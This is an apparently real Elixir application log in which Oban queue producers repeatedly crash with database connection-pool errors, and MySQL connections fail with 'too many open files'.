See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:49:00.240197Z], limit: 50, uuid: "556d6e11-5ae9-40e1-b036-f00838c09c0c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:00.240202Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244726>, refresh_timer: #Reference<0.2525715032.1068236804.237189>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:49:00.240474Z], limit: 5, uuid: "462a35c3-a52f-4728-9732-356a104e0747", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:00.240479Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244724>, refresh_timer: #Reference<0.2525715032.1068236804.237200>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:49:00.241010Z], limit: 3, uuid: "20308cba-8807-466c-a16e-e2e62ae88946", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:00.241016Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244722>, refresh_timer: #Reference<0.2525715032.1077411843.219133>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:13.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:49:00.240010Z], limit: 20, uuid: "94a7447b-482d-4ec0-8f2e-8e5e001ca865", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:00.240015Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244723>, refresh_timer: #Reference<0.2525715032.1068236804.237188>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:49:00.239908Z], limit: 5, uuid: "d8ec6872-7d67-4ff5-95d5-9670cb9fa33d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:00.239915Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.244725>, refresh_timer: #Reference<0.2525715032.1068236804.237207>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:14.044000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:15.776000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:18.874000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:19.426000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:22.887000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:23.978000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:49:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:49:13.240264Z], limit: 3, uuid: "9145986d-0ed3-46a1-87ca-9c0b10f636da", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:13.240269Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245016>, refresh_timer: #Reference<0.2525715032.1077411843.219410>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:49:13.239376Z], limit: 10, uuid: "3a9c68e4-ed55-4269-9dd9-83d1bfa2c306", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:13.239382Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245013>, refresh_timer: #Reference<0.2525715032.1077411843.219388>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:49:13.241835Z], limit: 20, uuid: "2f2c13e1-97e2-45f7-b522-7c16f0845a64", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:13.241841Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245017>, refresh_timer: #Reference<0.2525715032.1068236804.237256>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:49:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:49:13.242236Z], limit: 5, uuid: "3c59c455-63d2-49b2-b7d1-25949952259c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:49:13.242241Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.245014>, refresh_timer: #Reference<0.2525715032.1077411843.219418>, dispatch_cooldown: 5, running: %{}}
